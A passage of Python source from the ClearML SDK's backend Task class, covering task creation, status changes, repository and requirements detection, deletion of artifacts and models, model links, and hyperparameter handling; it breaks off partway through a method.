from ..util import ( make_message, get_or_create_project, get_single_result, exact_match_regex, mutually_exclusive, ) from ...config import ( get_config_for_bucket, get_remote_task_id, TASK_ID_ENV_VAR, running_remotely, get_cache_dir, DOCKER_IMAGE_ENV_VAR, get_offline_dir, get_log_to_backend, deferred_config, ) from ...debugging import get_logger from ...storage.helper import StorageHelper, StorageError from .access import AccessMixin from .repo import ScriptInfo, pip_freeze from .hyperparams import HyperParams from ...config import config, PROC_MASTER_ID_ENV_VAR, SUPPRESS_UPDATE_MESSAGE_ENV_VAR, DOCKER_BASH_SETUP_ENV_VAR from ...utilities.process.mp import SingletonLock class Task(IdObjectBase, AccessMixin, SetupUploadMixin): """ Task manager providing task object access and management. Includes read/write access to task-associated frames and models. """ _anonymous_dataview_id = '__anonymous__' _development_tag = 'development' archived_tag = 'archived' _default_configuration_section_name = 'General' _legacy_parameters_section_name = 'Args' _force_requirements = {} _ignore_requirements = set() _store_diff = deferred_config('development.store_uncommitted_code_diff', False) _store_remote_diff = deferred_config('development.store_code_diff_from_remote', False) _report_subprocess_enabled = deferred_config('development.report_use_subprocess', sys.platform == 'linux') _force_use_pip_freeze = deferred_config(multi=[('development.detect_with_pip_freeze', False), ('development.detect_with_conda_freeze', False)]) _force_store_standalone_script = False _offline_filename = 'task.json' class TaskTypes(Enum): def __str__(self): return str(self.value) def __eq__(self, other): return str(self) == str(other) training = 'training' testing = 'testing' inference = "inference" data_processing = "data_processing" application = "application" monitor = "monitor" controller = "controller" optimizer = "optimizer" service = "service" qc = "qc" custom = "custom" class TaskStatusEnum(Enum): def __str__(self): return str(self.value) def __eq__(self, other): return str(self) == str(other) created = "created" queued = "queued" in_progress = "in_progress" stopped = "stopped" published = "published" publishing = "publishing" closed = "closed" failed = "failed" completed = "completed" unknown = "unknown" class DeleteError(Exception): pass def __init__(self, session=None, task_id=None, log=None, project_name=None, task_name=None, task_type=TaskTypes.training, log_to_backend=True, raise_on_validation_errors=True, force_create=False): """ Create a new task instance. :param session: Optional API Session instance. If not provided, a default session based on the system's configuration will be used. :type session: Session :param task_id: Optional task ID. If not provided, a new task will be created using the API and its information reflected in the resulting instance. :type task_id: string :param log: Optional log to be used. If not provided, and internal log shared with all backend objects will be used instead. :type log: logging.Logger :param project_name: Optional project name, minimum length of 3 characters, used only if a new task is created. The new task will be associated with a project by this name. If no such project exists, a new project will be created using the API. :type project_name: str :param task_name: Optional task name, minimum length of 3 characters, used only if a new task is created. :type project_name: str :param task_type: Optional task type, used only if a new task is created. Default is training task. :type task_type: str (see tasks.TaskTypeEnum) :param log_to_backend: If True, all calls to the task's log will be logged to the backend using the API. This value can be overridden using the environment variable TRAINS_LOG_TASK_TO_BACKEND. :type log_to_backend: bool :param force_create: If True a new task will always be created (task_id, if provided, will be ignored) :type force_create: bool """ SingletonLock.instantiate() task_id = self._resolve_task_id(task_id, log=log) if not force_create else None self.__edit_lock = None super(Task, self).__init__(id=task_id, session=session, log=log) self._project_name = None self._storage_uri = None self._metrics_manager = None self.__reporter = None self._curr_label_stats = {} self._raise_on_validation_errors = raise_on_validation_errors self._parameters_allowed_types = tuple(set( six.string_types + six.integer_types + (six.text_type, float, list, tuple, dict, type(None)) )) self._app_server = None self._files_server = None self._initial_iteration_offset = 0 self._reload_skip_flag = False if not task_id: # generate a new task self.id = self._auto_generate(project_name=project_name, task_name=task_name, task_type=task_type) if self._offline_mode: self.data.id = self.id self.name = task_name else: # this is an existing task, let's try to verify stuff self._validate(check_output_dest_credentials=False) if self.data is None: raise ValueError("Task ID \"{}\" could not be found".format(self.id)) self._project_name = (self.project, project_name) if running_remotely() or DevWorker.report_stdout: log_to_backend = False self._log_to_backend = get_log_to_backend(default=log_to_backend) self._artifacts_manager = Artifacts(self) self._hyper_params_manager = HyperParams(self) def _validate(self, check_output_dest_credentials=False): if not self._is_remote_main_task(): self._storage_uri = self.get_output_destination(raise_on_error=False, log_on_error=False) or None return raise_errors = self._raise_on_validation_errors output_dest = self.get_output_destination(raise_on_error=False, log_on_error=False) if output_dest and check_output_dest_credentials: try: self.log.info('Validating output destination') conf = get_config_for_bucket(base_url=output_dest) if not conf: msg = 'Failed resolving output destination (no credentials found for %s)' % output_dest self.log.warning(msg) if raise_errors: raise Exception(msg) except StorageError: raise except Exception as ex: self.log.error('Failed trying to verify output destination: %s' % ex) @classmethod def _resolve_task_id(cls, task_id, log=None): if not task_id: task_id = cls.normalize_id(get_remote_task_id()) if task_id: log = log or get_logger('task') log.info('Using task ID from env %s=%s' % (TASK_ID_ENV_VAR[0], task_id)) return task_id def _update_repository(self): def check_package_update(): # noinspection PyBroadException try: # check latest version from ...utilities.check_updates import CheckPackageUpdates latest_version = CheckPackageUpdates.check_new_package_available(only_once=True) if latest_version and not SUPPRESS_UPDATE_MESSAGE_ENV_VAR.get( default=config.get('development.suppress_update_message', False)): if not latest_version[1]: sep = os.linesep self.get_logger().report_text( '{} new package available: UPGRADE to v{} is recommended!\nRelease Notes:\n{}'.format( Session.get_clients()[0][0].upper(), latest_version[0], sep.join(latest_version[2])), ) else: self.get_logger().report_text( 'ClearML new version available: upgrade to v{} is recommended!'.format( latest_version[0]), ) except Exception: pass # get repository and create requirements.txt from code base try: check_package_update_thread = Thread(target=check_package_update) check_package_update_thread.daemon = True check_package_update_thread.start() # do not request requirements, because it might be a long process, and we first want to update the git repo result, script_requirements = ScriptInfo.get( filepaths=[self._calling_filename, sys.argv[0], ] if ScriptInfo.is_running_from_module() else [sys.argv[0], self._calling_filename, ], log=self.log, create_requirements=False, check_uncommitted=self._store_diff, uncommitted_from_remote=self._store_remote_diff, force_single_script=self._force_store_standalone_script, ) for msg in result.warning_messages: self.get_logger().report_text(msg) # if the git is too large to store on the task, we must store it as artifact: if result.auxiliary_git_diff: diff_preview = "# git diff too large to handle, storing as artifact. git diff summary:\n" diff_preview += '\n'.join( line for line in result.auxiliary_git_diff.split('\n') if line.startswith('diff --git ')) self._artifacts_manager.upload_artifact( name='auxiliary_git_diff', artifact_object=result.auxiliary_git_diff, preview=diff_preview, ) # store original entry point entry_point = result.script.get('entry_point') if result.script else None # check if we are running inside a module, then we should set our entry point # to the module call including all argv's result.script = ScriptInfo.detect_running_module(result.script) # Since we might run asynchronously, don't use self.data (let someone else # overwrite it before we have a chance to call edit) with self._edit_lock: self.reload() self.data.script = result.script self._edit(script=result.script) # if jupyter is present, requirements will be created in the background, when saving a snapshot if result.script and script_requirements: entry_point_filename = None if config.get('development.force_analyze_entire_repo', False) else \ os.path.join(result.script['working_dir'], entry_point) if self._force_use_pip_freeze: if isinstance(self._force_use_pip_freeze, (str, Path)): conda_requirements = '' req_file = Path(self._force_use_pip_freeze) requirements = req_file.read_text() if req_file.is_file() else None else: requirements, conda_requirements = pip_freeze( combine_conda_with_pip=config.get('development.detect_with_conda_freeze', True)) requirements = '# Python ' + sys.version.replace('\n', ' ').replace('\r', ' ') + '\n\n'\ + requirements else: requirements, conda_requirements = script_requirements.get_requirements( entry_point_filename=entry_point_filename) if requirements: if not result.script['requirements']: result.script['requirements'] = {} result.script['requirements']['pip'] = requirements result.script['requirements']['conda'] = conda_requirements self._update_requirements(result.script.get('requirements') or '') # we do not want to wait for the check version thread, # because someone might wait for us to finish the repo detection update except SystemExit: pass except Exception as e: get_logger('task').debug(str(e)) def _auto_generate(self, project_name=None, task_name=None, task_type=TaskTypes.training): created_msg = make_message('Auto-generated at %(time)s UTC by %(user)s@%(host)s') if isinstance(task_type, self.TaskTypes): task_type = task_type.value if task_type not in (self.TaskTypes.training.value, self.TaskTypes.testing.value) and \ not Session.check_min_api_version('2.8'): print('WARNING: Changing task type to "{}" : ' 'clearml-server does not support task type "{}", ' 'please upgrade clearml-server.'.format(self.TaskTypes.training, task_type)) task_type = self.TaskTypes.training.value project_id = None if project_name: project_id = get_or_create_project(self, project_name) tags = [self._development_tag] if not running_remotely() else [] extra_properties = {'system_tags': tags} if Session.check_min_api_version('2.3') else {'tags': tags} req = tasks.CreateRequest( name=task_name or make_message('Anonymous task (%(user)s@%(host)s %(time)s)'), type=tasks.TaskTypeEnum(task_type), comment=created_msg, project=project_id, input={'view': {}}, **extra_properties ) res = self.send(req) return res.response.id if res else 'offline-{}'.format(str(uuid4()).replace("-", "")) def _set_storage_uri(self, value): value = value.rstrip('/') if value else None self._storage_uri = StorageHelper.conform_url(value) self.data.output.destination = self._storage_uri self._edit(output_dest=self._storage_uri or ('' if Session.check_min_api_version('2.3') else None)) @property def storage_uri(self): # type: () -> Optional[str] if self._storage_uri: return self._storage_uri if running_remotely(): return self.data.output.destination else: return None @storage_uri.setter def storage_uri(self, value): # type: (str) -> () self._set_storage_uri(value) @property def task_id(self): # type: () -> str return self.id @property def name(self): # type: () -> str return self.data.name or '' @name.setter def name(self, value): # type: (str) -> () self.set_name(value) @property def task_type(self): # type: () -> str return self.data.type @property def project(self): # type: () -> str return self.data.project @property def parent(self): # type: () -> str return self.data.parent @property def input_models_id(self): # type: () -> Mapping[str, str] if not Session.check_min_api_version("2.13"): model_id = self._get_task_property('execution.model', raise_on_error=False) return {'Input Model': model_id} if model_id else {} input_models = self._get_task_property('models.input', default=[]) or [] return {m.name: m.model for m in input_models} @property def output_models_id(self): # type: () -> Mapping[str, str] if not Session.check_min_api_version("2.13"): model_id = self._get_task_property('output.model', raise_on_error=False) return {'Output Model': model_id} if model_id else {} output_models = self._get_task_property('models.output', default=[]) or [] return {m.name: m.model for m in output_models} @property def comment(self): # type: () -> str return self.data.comment or '' @comment.setter def comment(self, value): # type: (str) -> () self.set_comment(value) @property def cache_dir(self): # type: () -> Path """ The cache directory which is used to store the Task related files. """ return Path(get_cache_dir()) / self.id @property def status(self): # type: () -> str """ The Task's status. To keep the Task updated. ClearML reloads the Task status information only, when this value is accessed. return str: TaskStatusEnum status """ return self.get_status() @property def _status(self): # type: () -> str """ Return the task's cached status (don't reload if we don't have to) """ return str(self.data.status) def reload(self): # type: () -> () """ Reload current Task's state from clearml-server. Refresh all task's fields, including artifacts / models / parameters etc. """ return super(Task, self).reload() def _get_output_model(self, upload_required=True, model_id=None): # type: (bool, Optional[str]) -> Model return Model( session=self.session, model_id=model_id or None, cache_dir=self.cache_dir, upload_storage_uri=self.storage_uri or self.get_output_destination( raise_on_error=upload_required, log_on_error=upload_required), upload_storage_suffix=self._get_output_destination_suffix('models'), log=self.log) @property def metrics_manager(self): # type: () -> Metrics """ A metrics manager used to manage the metrics related to this task """ return self._get_metrics_manager(self.get_output_destination()) @property def _reporter(self): # type: () -> Reporter """ Returns a simple metrics reporter instance. """ if self.__reporter is None: self._setup_reporter() return self.__reporter def _get_metrics_manager(self, storage_uri): # type: (str) -> Metrics if self._metrics_manager is None: self._metrics_manager = Metrics( session=self.session, task=self, storage_uri=storage_uri, storage_uri_suffix=self._get_output_destination_suffix('metrics'), iteration_offset=self.get_initial_iteration() ) return self._metrics_manager def _setup_reporter(self): # type: () -> Reporter try: storage_uri = self.get_output_destination(log_on_error=False) except ValueError: storage_uri = None self.__reporter = Reporter( metrics=self._get_metrics_manager(storage_uri=storage_uri), task=self) return self.__reporter def _get_output_destination_suffix(self, extra_path=None): # type: (Optional[str]) -> str # limit path to support various storage infrastructure limits (such as max path pn posix or object storage) # project path limit to 256 (including subproject names), and task name limit to 128. def limit_folder_name(a_name, uuid, max_length, always_add_uuid): if always_add_uuid: return '{}.{}'.format(a_name[:max(2, max_length-len(uuid)-1)], uuid) if len(a_name) < max_length: return a_name return '{}.{}'.format(a_name[:max(2, max_length-len(uuid)-1)], uuid) return '/'.join(quote(x, safe="'[]{}()$^,.; -_+-=/") for x in (limit_folder_name(self.get_project_name(), str(self.project), 256, False), limit_folder_name(self.name, str(self.data.id), 128, True), extra_path) if x) def _reload(self): # type: () -> Any """ Reload the task object from the backend """ with self._edit_lock: if self._offline_mode: # noinspection PyBroadException try: with open((self.get_offline_mode_folder() / self._offline_filename).as_posix(), 'rt') as f: stored_dict = json.load(f) stored_data = tasks.Task(**stored_dict) # add missing entries for k, v in stored_dict.items(): if not hasattr(stored_data, k): setattr(stored_data, k, v) if stored_dict.get('project_name'): self._project_name = (None, stored_dict.get('project_name')) except Exception: stored_data = self._data return stored_data or tasks.Task( execution=tasks.Execution( parameters={}, artifacts=[], dataviews=[], model='', model_desc={}, model_labels={}, docker_cmd=''), output=tasks.Output()) if self._reload_skip_flag and self._data: return self._data res = self.send(tasks.GetByIdRequest(task=self.id)) return res.response.task def reset(self, set_started_on_success=True, force=False): # type: (bool, bool) -> () """ Reset the task. Task will be reloaded following a successful reset. :param set_started_on_success: If True automatically set Task status to started after resetting it. :param force: If not true, call fails if the task status is 'completed' """ self.send(tasks.ResetRequest(task=self.id, force=force)) if set_started_on_success: self.started() elif self._data: # if not started, make sure the current cached state is synced self._data.status = self.TaskStatusEnum.created self.reload() def started(self, ignore_errors=True, force=False): # type: (bool, bool) -> () """ The signal that this Task started. """ return self.send(tasks.StartedRequest(self.id, force=force), ignore_errors=ignore_errors) def stopped(self, ignore_errors=True, force=False, status_reason=None, status_message=None): # type: (bool, bool, Optional[str], Optional[str]) -> () """ The signal that this Task stopped. """ return self.send( tasks.StoppedRequest(self.id, force=force, status_reason=status_reason, status_message=status_message), ignore_errors=ignore_errors ) def completed(self, ignore_errors=True): # type: (bool) -> () """ .. note:: Deprecated, use mark_completed(...) instead """ warnings.warn("'completed' is deprecated; use 'mark_completed' instead.", DeprecationWarning) return self.mark_completed(ignore_errors=ignore_errors) def mark_completed(self, ignore_errors=True, status_message=None, force=False): # type: (bool, Optional[str], bool) -> () """ Manually mark a Task as completed :param bool ignore_errors: If True (default), ignore any errors raised :param bool force: If True the task status will be changed to `stopped` regardless of the current Task state. :param str status_message: Optional, add status change message to the stop request. This message will be stored as status_message on the Task's info panel """ if hasattr(tasks, 'CompletedRequest') and callable(tasks.CompletedRequest): return self.send( tasks.CompletedRequest(self.id, status_reason='completed', status_message=status_message, force=force), ignore_errors=ignore_errors ) return self.send( tasks.StoppedRequest(self.id, status_reason='completed', status_message=status_message, force=force), ignore_errors=ignore_errors ) def mark_failed(self, ignore_errors=True, status_reason=None, status_message=None, force=False): # type: (bool, Optional[str], Optional[str], bool) -> () """ The signal that this Task stopped. """ return self.send( tasks.FailedRequest( task=self.id, status_reason=status_reason, status_message=status_message, force=force), ignore_errors=ignore_errors, ) def publish(self, ignore_errors=True): # type: (bool) -> () """ The signal that this Task will be published """ if str(self.status) not in (str(tasks.TaskStatusEnum.stopped), str(tasks.TaskStatusEnum.completed)): raise ValueError("Can't publish, Task is not stopped") resp = self.send(tasks.PublishRequest(self.id), ignore_errors=ignore_errors) assert isinstance(resp.response, tasks.PublishResponse) return resp def _delete( self, delete_artifacts_and_models=True, skip_models_used_by_other_tasks=True, raise_on_error=False, callback=None, ): # type: (bool, bool, bool, Callable[[str, str], bool]) -> bool """ Delete the task as well as it's output models and artifacts. Models and artifacts are deleted from their storage locations, each using its URI. Note: in order to delete models and artifacts using their URI, make sure the proper storage credentials are configured in your configuration file (e.g. if an artifact is stored in S3, make sure sdk.aws.s3.credentials are properly configured and that you have delete permission in the related buckets). :param delete_artifacts_and_models: If True, artifacts and models would also be deleted (default True). If callback is provided, this argument is ignored. :param skip_models_used_by_other_tasks: If True, models used by other tasks would not be deleted (default True) :param raise_on_error: If True an exception will be raised when encountering an error. If False an error would be printed and no exception will be raised. :param callback: An optional callback accepting a uri type (string) and a uri (string) that will be called for each artifact and model. If provided, the delete_artifacts_and_models is ignored. Return True to indicate the artifact/model should be deleted or False otherwise. :return: True if the task was deleted successfully. """ try: res = self.send(tasks.GetByIdRequest(self.task_id)) task = res.response.task if task.status == Task.TaskStatusEnum.published: if raise_on_error: raise self.DeleteError("Cannot delete published task {}".format(self.task_id)) self.log.error("Cannot delete published task {}".format(self.task_id)) return False execution = {} models_res = [] if delete_artifacts_and_models or callback: execution = task.execution.to_dict() if task.execution else {} models_res = self.send(models.GetAllRequest(task=[task.id], only_fields=["id", "uri"])).response.models models_res = [ m for m in models_res if not callback or callback( "output_model" if task.output and (m.id == task.output.model) else "model", m.uri, ) ] event_uris = [] event_uris.extend( [ x for x in filter( None, self._get_all_events( event_type="training_debug_image", unique_selector=itemgetter("url"), batch_size=10000, ), ) if not callback or callback("debug_images", x) ] ) event_uris.extend( [x for x in filter(None, self._get_image_plot_uris()) if not callback or callback("image_plot", x)] ) artifact_uris = [] if delete_artifacts_and_models or callback: artifact_uris = [ e["uri"] for e in execution["artifacts"] if e["mode"] == "output" and (not callback or callback("artifact", e["uri"])) ] task_deleted = self.send(tasks.DeleteRequest(self.task_id, force=True)) if not task_deleted.ok(): if raise_on_error: raise self.DeleteError("Failed deleting task {}".format(self.task_id)) self.log.error("Failed deleting task {}".format(self.task_id)) return False except self.DeleteError: raise except Exception as ex: if raise_on_error: raise self.DeleteError("Task deletion failed: {}".format(ex)) self.log.error("Task deletion failed: {}".format(ex)) return False failures = [] for uri in artifact_uris: if not self._delete_uri(uri): failures.append(uri) for m in models_res: # noinspection PyBroadException try: is_output_model = task.output and (m.id == task.output.model) res = self.send( models.DeleteRequest(m.id, force=(not skip_models_used_by_other_tasks)), ignore_errors=is_output_model, ) # Should delete if model was deleted or if this was the output model (which was already deleted # by DeleteRequest, and it's URI is dangling should_delete = is_output_model or res.response.deleted except SendError as ex: if (ex.result.meta.result_code, ex.result.meta.result_subcode) == ( 400, 201, ): # Model not found, already deleted by DeleteRequest should_delete = True else: failures.append("model id: {}".format(m.id)) continue except Exception: failures.append("model id: {}".format(m.id)) continue if should_delete and not self._delete_uri(m.uri): failures.append(m.uri) for uri in event_uris: if not self._delete_uri(uri): failures.append(uri) failures = list(filter(None, failures)) if len(failures): error = "Failed deleting the following URIs:\n{}".format("\n".join(failures)) if raise_on_error: raise self.DeleteError(error) self.log.error(error) return task_deleted def _delete_uri(self, uri): # type: (str) -> bool # noinspection PyBroadException try: deleted = StorageHelper.get(uri).delete(uri) if deleted: self.log.debug("Deleted file: {}".format(uri)) return True except Exception as ex: self.log.error("Failed deleting {}: {}".format(uri, str(ex))) return False return False def _get_image_plot_uris(self): # type: () -> Set[str] def image_source_selector(d): plot = d.get("plot_str") if plot: # noinspection PyBroadException try: plot = json.loads(plot) return next( filter(None, (image.get("source") for image in plot.get("layout", {}).get("images", []))), None ) except Exception: pass return self._get_all_events(event_type="plot", unique_selector=image_source_selector, batch_size=10000) def update_model_desc(self, new_model_desc_file=None): # type: (Optional[str]) -> () """ Change the Task's model description. """ with self._edit_lock: self.reload() execution = self._get_task_property('execution') p = Path(new_model_desc_file) if not p.is_file(): raise IOError('mode_desc file %s cannot be found' % new_model_desc_file) new_model_desc = p.read_text() model_desc_key = list(execution.model_desc.keys())[0] if execution.model_desc else 'design' execution.model_desc[model_desc_key] = new_model_desc res = self._edit(execution=execution) return res.response def update_output_model( self, model_path, # type: str name=None, # type: Optional[str] comment=None, # type: Optional[str] tags=None, # type: Optional[Sequence[str]] model_name=None, # type: Optional[str] iteration=None, # type: Optional[int] auto_delete_file=True # type: bool ): # type: (...) -> str """ Update the Task's output model weights file. First, ClearML uploads the file to the preconfigured output destination (see the Task's ``output.destination`` property or call the ``setup_upload`` method), then ClearML updates the model object associated with the Task an API call. The API call uses with the URI of the uploaded file, and other values provided by additional arguments. :param model_path: A local weights file or folder to be uploaded. If remote URI is provided (e.g. http:// or s3: // etc) then the URI is stored as is, without any upload :param name: The updated model name. If not provided, the name is the model weights file filename without the extension. :param comment: The updated model description. (Optional) :param tags: The updated model tags. (Optional) :param model_name: If provided the model name as it will appear in the model artifactory. (Optional) Default: Task.name - name :param iteration: iteration number for the current stored model (Optional) :param bool auto_delete_file: Delete the temporary file after uploading (Optional) - ``True`` - Delete (Default) - ``False`` - Do not delete :return: The URI of the uploaded weights file. Notice: upload is done is a background thread, while the function call returns immediately """ from ...model import OutputModel output_model = OutputModel( task=self, name=model_name or ('{} - {}'.format(self.name, name) if name else self.name), tags=tags, comment=comment ) output_model.connect(task=self, name=name) url = output_model.update_weights( weights_filename=model_path, iteration=iteration, auto_delete_file=auto_delete_file ) return url @property def labels_stats(self): # type: () -> dict """ Get accumulated label stats for the current/last frames iteration """ return self._curr_label_stats def _accumulate_label_stats(self, roi_stats, reset=False): # type: (dict, bool) -> () if reset: self._curr_label_stats = {} for label in roi_stats: if label in self._curr_label_stats: self._curr_label_stats[label] += roi_stats[label] else: self._curr_label_stats[label] = roi_stats[label] def set_input_model( self, model_id=None, model_name=None, update_task_design=True, update_task_labels=True, name=None ): # type: (str, Optional[str], bool, bool, Optional[str]) -> () """ Set a new input model for the Task. The model must be "ready" (status is ``Published``) to be used as the Task's input model. :param model_id: The Id of the model on the **ClearML Server** (backend). If ``model_name`` is not specified, then ``model_id`` must be specified. :param model_name: The model name in the artifactory. The model_name is used to locate an existing model in the **ClearML Server** (backend). If ``model_id`` is not specified, then ``model_name`` must be specified. :param update_task_design: Update the Task's design - ``True`` - ClearML copies the Task's model design from the input model. - ``False`` - ClearML does not copy the Task's model design from the input model. :param update_task_labels: Update the Task's label enumeration - ``True`` - ClearML copies the Task's label enumeration from the input model. - ``False`` - ClearML does not copy the Task's label enumeration from the input model. :param name: Model section name to be stored on the Task (unrelated to the model object name itself) Default: the model weight filename is used (excluding file extension) """ if model_id is None and not model_name: raise ValueError('Expected one of [model_id, model_name]') if model_name and not model_id: # Try getting the model by name. Limit to 10 results. res = self.send( models.GetAllRequest( name=exact_match_regex(model_name), ready=True, page=0, page_size=10, order_by=['-created'], only_fields=['id', 'created', 'uri'] ) ) model = get_single_result(entity='model', query=model_name, results=res.response.models, log=self.log) model_id = model.id if model_id: res = self.send(models.GetByIdRequest(model=model_id)) model = res.response.model if not model.ready: # raise ValueError('Model %s is not published (not ready)' % model_id) self.log.debug('Model %s [%s] is not published yet (not ready)' % (model_id, model.uri)) name = name or Path(model.uri).stem else: # clear the input model model = None model_id = '' name = name or 'Input Model' with self._edit_lock: self.reload() # store model id if Session.check_min_api_version("2.13"): self.send(tasks.AddOrUpdateModelRequest( task=self.id, name=name, model=model_id, type=tasks.ModelTypeEnum.input )) else: # backwards compatibility self._set_task_property("execution.model", model_id, raise_on_error=False, log_on_error=False) # Auto populate from model, if empty if update_task_labels and not self.data.execution.model_labels: self.data.execution.model_labels = model.labels if model else {} self._edit(execution=self.data.execution) def get_parameters(self, backwards_compatibility=True, cast=False): # type: (bool, bool) -> (Optional[dict]) """ Get the parameters for a Task. This method returns a complete group of key-value parameter pairs, but does not support parameter descriptions (the result is a dictionary of key-value pairs). Notice the returned parameter dict is flat: i.e. {'Args/param': 'value'} is the argument "param" from section "Args" :param backwards_compatibility: If True (default) parameters without section name (API version < 2.9, clearml-server < 0.16) will be at dict root level. If False, parameters without section name, will be nested under "Args/" key. :param cast: If True, cast the parameter to the original type. Default False, values are returned in their string representation :return: dict of the task parameters, all flattened to key/value. Different sections with key prefix "section/" """ if not Session.check_min_api_version('2.9'): return self._get_task_property('execution.parameters') # API will makes sure we get old parameters with type legacy on top level (instead of nested in Args) parameters = dict() hyperparams = self._get_task_property('hyperparams') or {} if not backwards_compatibility: for section in hyperparams: for key, section_param in hyperparams[section].items(): parameters['{}/{}'.format(section, key)] = \ cast_basic_type(section_param.value, section_param.type) if cast else section_param.value else: for section in hyperparams: for key, section_param in hyperparams[section].items(): v = cast_basic_type(section_param.value, section_param.type) if cast else section_param.value if section_param.type == 'legacy' and section in (self._legacy_parameters_section_name, ): parameters['{}'.format(key)] = v else: parameters['{}/{}'.format(section, key)] = v return parameters def set_parameters(self, *args, **kwargs): # type: (*dict, **Any) -> () """ Set the parameters for a Task. This method sets a complete group of key-value parameter pairs, but does not support parameter descriptions (the input is a dictionary of key-value pairs). Notice the parameter dict is flat: i.e. {'Args/param': 'value'} will set the argument "param" in section "Args" to "value" :param args: Positional arguments, which are one or more dictionary or (key, value) iterable. They are merged into a single key-value pair dictionary. :param kwargs: Key-value pairs, merged into the parameters dictionary created from ``args``. """ return self._set_parameters(*args, __update=False, **kwargs) def _set_parameters(self, *args, **kwargs): # type: (*dict, **Any) -> () """ Set the parameters for a Task. This method sets a complete group of key-value parameter pairs, but does not support parameter descriptions (the input is a dictionary of key-value pairs). :param args: Positional arguments, which are one or more dictionary or (key, value) iterable. They are merged into a single key-value pair dictionary. :param kwargs: Key-value pairs, merged into the parameters dictionary created from ``args``. """ def stringify(value): # return empty string if value is None if value is None: return "" str_value = str(value) if isinstance(value, (tuple, list, dict)): if 'None' in re.split(r'[ ,\[\]{}()]', str_value): # If we have None in the string we have to use json to replace it with null, # otherwise we end up with None as string when running remotely try: str_json = json.dumps(value) # verify we actually have a null in the string, otherwise prefer the str cast # This is because we prefer to have \' as in str and not \" used in json if 'null' in re.split(r'[ ,\[\]{}()]', str_json): return str_json except TypeError: # if we somehow failed to json serialize, revert to previous std casting pass elif any('\\' in str(v) for v in value): try: str_json = json.dumps(value) return str_json except TypeError: pass return str_value if not all(isinstance(x, (dict, Iterable)) for x in args): raise ValueError('only dict or iterable are supported as positional arguments') prefix = kwargs.pop('__parameters_prefix', None) descriptions = kwargs.pop('__parameters_descriptions', None) or dict() params_types = kwargs.pop('__parameters_types', None) or dict() update = kwargs.pop('__update', False) # new parameters dict new_parameters = dict(itertools.chain.from_iterable(x.items() if isinstance(x, dict) else x for x in args)) new_parameters.update(kwargs) if prefix: prefix = prefix.strip('/') new_parameters = dict(('{}/{}'.format(prefix, k), v) for k, v in new_parameters.items()) # verify parameters type: not_allowed = { k: type(v).__name__ for k, v in new_parameters.items() if not verify_basic_type(v, self._parameters_allowed_types) } if not_allowed: self.log.warning( "Skipping parameter: {}, only builtin types are supported ({})".format( ', '.join('%s[%s]' % p for p in not_allowed.items()), ', '.join(t.__name__ for t in self._parameters_allowed_types)) ) new_parameters = {k: v for k, v in new_parameters.items() if k not in not_allowed} use_hyperparams = Session.check_min_api_version('2.9') with self._edit_lock: self.reload() # if we have a specific prefix and we use hyperparameters, and we use set. # overwrite only the prefix, leave the rest as is. if not update and prefix: parameters = copy(self.get_parameters() or {}) parameters = dict((k, v) for k, v in parameters.items() if not k.startswith(prefix+'/')) elif update: parameters = copy(self.get_parameters() or {}) else: parameters = dict() parameters.update(new_parameters) if use_hyperparams: # build nested dict from flat parameters dict: org_hyperparams = self.data.hyperparams or {} hyperparams = dict() # if the task is a legacy task, we should put everything back under Args/key with legacy type legacy_name = self._legacy_parameters_section_name org_legacy_section = org_hyperparams.get(legacy_name, dict()) for k, v in parameters.items(): # legacy variable if org_legacy_section.get(k, tasks.ParamsItem()).type == 'legacy': section = hyperparams.get(legacy_name, dict()) section[k] = copy(org_legacy_section[k]) section[k].value = stringify(v) description = descriptions.get(k) if description: section[k].description = description hyperparams[legacy_name] = section continue org_k = k if '/' not in k: k = '{}/{}'.format(self._default_configuration_section_name, k) section_name, key = k.split('/', 1) section = hyperparams.get(section_name, dict()) org_param = org_hyperparams.get(section_name, dict()).get(key, None) param_type = params_types[org_k] if org_k in params_types else ( org_param.type if org_param is not None else get_basic_type(v) if v is not None else None ) if param_type and not isinstance(param_type, str): param_type = param_type.__name__ if hasattr(param_type, '__name__') else str(param_type) section[key] = tasks.ParamsItem( section=section_name, name=key, value=stringify(v), description=descriptions[org_k] if org_k in descriptions else ( org_param.description if org_param is not None else None ), type=param_type, ) hyperparams[section_name] = section self._edit(hyperparams=hyperparams) self.data.hyperparams = hyperparams else: # force cast all variables to strings (so that we can later edit them in UI) parameters = {k: stringify(v) for k, v in parameters.items()} execution = self.data.execution if execution is None: execution = tasks.Execution( parameters=parameters, artifacts=[], dataviews=[], model='', model_desc={}, model_labels={}, docker_cmd='') else: execution.parameters = parameters self._edit(execution=execution) def set_parameter(self, name, value, description=None, value_type=None): # type: (str, str, Optional[str], Optional[Any]) -> () """ Set a single Task parameter. This overrides any previous value for this parameter. :param name: The parameter name. :param value: The parameter value. :param description: The parameter description. :param value_type: The type of the parameters (cast to string and store) """ if not Session.check_min_api_version('2.9'): # not supported yet description = None value_type = None self._set_parameters( {name: value}, __update=True, __parameters_descriptions={name: description}, __parameters_types={name: value_type} ) def get_parameter(self, name, default=None): # type: (str, Any) -> Any """ Get a value for a parameter. :param name: Parameter name :param default: Default value :return: The Parameter value (or default value if parameter is not defined). """ params = self.get_parameters() return params.get(name, default) def delete_parameter(self, name): # type: (str) -> bool """ Delete a parameter by its full name Section/name. :param name: Parameter name in full, i.e. Section/name. For example, 'Args/batch_size' :return: True if the parameter was deleted successfully """ if not Session.check_min_api_version('2.9'): raise ValueError( "Delete hyper-parameter is not supported by your clearml-server, " "upgrade to the latest version") with self._edit_lock: paramkey = tasks.ParamKey(section=name.split('/', 1)[0], name=name.split('/', 1)[1]) res = self.send(tasks.DeleteHyperParamsRequest( task=self.id, hyperparams=[paramkey]), raise_on_errors=False) self.reload() return res.ok() def update_parameters(self, *args, **kwargs): # type: (*dict, **Any) -> () """ Update the parameters for a Task. This method updates a complete group of key-value parameter pairs, but does not support parameter descriptions (the input is a dictionary of key-value pairs). Notice the parameter dict is flat: i.e. {'Args/param': 'value'} will set the argument "param" in section "Args" to "value" :param args: Positional arguments, which are one or more dictionary or (key, value) iterable. They are merged into a single key-value pair dictionary. :param kwargs: Key-value pairs, merged into the parameters dictionary created from ``args``. """ self._set_parameters(*args, __update=True, **kwargs) def set_model_label_enumeration(self, enumeration=None): # type: (Mapping[str, int]) -> () """ Set a dictionary of labels (text) to ids (integers) {str(label): integer(id)} :param dict enumeration: For example: {str(label): integer(id)} """ enumeration = enumeration or {} with self._edit_lock: self.reload() execution = self.data.execution if enumeration is None: return if not (isinstance(enumeration, dict) and all(isinstance(k, six.string_types) and isinstance(v, int) for k, v in enumeration.items())): raise ValueError('Expected label to be a dict[str => 